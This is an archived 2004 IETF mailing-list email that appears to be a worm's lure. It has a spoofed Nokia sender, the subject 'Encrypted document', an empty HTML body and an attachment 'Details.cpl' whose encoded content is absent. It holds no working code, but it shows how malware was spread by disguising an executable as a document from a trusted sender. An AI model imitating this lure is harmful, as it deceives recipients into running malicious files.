Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1BSHCz-0008GY-VX
	for adslmib@optimus.ietf.org; Mon, 24 May 2004 11:17:45 -0400
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13192
	for <adslmib@ietf.org>; Mon, 24 May 2004 11:17:43 -0400 (EDT)
Received: from ietf-mx.ietf.org ([132.151.6.1] helo=ietf-mx)
	by ietf-mx with esmtp (Exim 4.32)
	id 1BSHCy-0004yU-VS
	for adslmib@ietf.org; Mon, 24 May 2004 11:17:45 -0400
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1BSHBv-0004rW-00
	for adslmib@ietf.org; Mon, 24 May 2004 11:16:39 -0400
Received: from [203.110.83.42] (helo=PVSURESH.net)
	by ietf-mx with smtp (Exim 4.12)
	id 1BSHBA-0004lB-00
	for adslmib@ietf.org; Mon, 24 May 2004 11:15:52 -0400
Date: Tue, 25 May 2004 08:46:37 -0800
To: "Adslmib" <adslmib@ietf.org>
From: "Greg.bathrick" <greg.bathrick@nokia.com>
Message-ID: <xchzxdwdazlnbcdrqrs@ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------gmjgaulhudbgubgpadhp"
Subject: [Adslmib] Encrypted document
Sender: adslmib-admin@ietf.org
Errors-To: adslmib-admin@ietf.org
X-BeenThere: adslmib@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=unsubscribe>
List-Id: ADSLMIB <adslmib.ietf.org>
List-Post: <mailto:adslmib@ietf.org>
List-Help: <mailto:adslmib-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/adslmib>,
	<mailto:adslmib-request@ietf.org?subject=subscribe>
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=2.9 required=5.0 tests=AWL,DATE_IN_FUTURE_24_48,
	HTML_MESSAGE,MIME_HTML_ONLY autolearn=no version=2.60

----------gmjgaulhudbgubgpadhp
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
 

<br>
</body></html>

----------gmjgaulhudbgubgpadhp
Content-Type: application/octet-stream; name="Details.cpl"
Content-Disposition: attachment; filename="Details.cpl"
Content-Transfer-Encoding: base64



----------gmjgaulhudbgubgpadhp--


_______________________________________________
Adslmib mailing list
Adslmib@ietf.org
https://www1.ietf.org/mailman/listinfo/adslmib



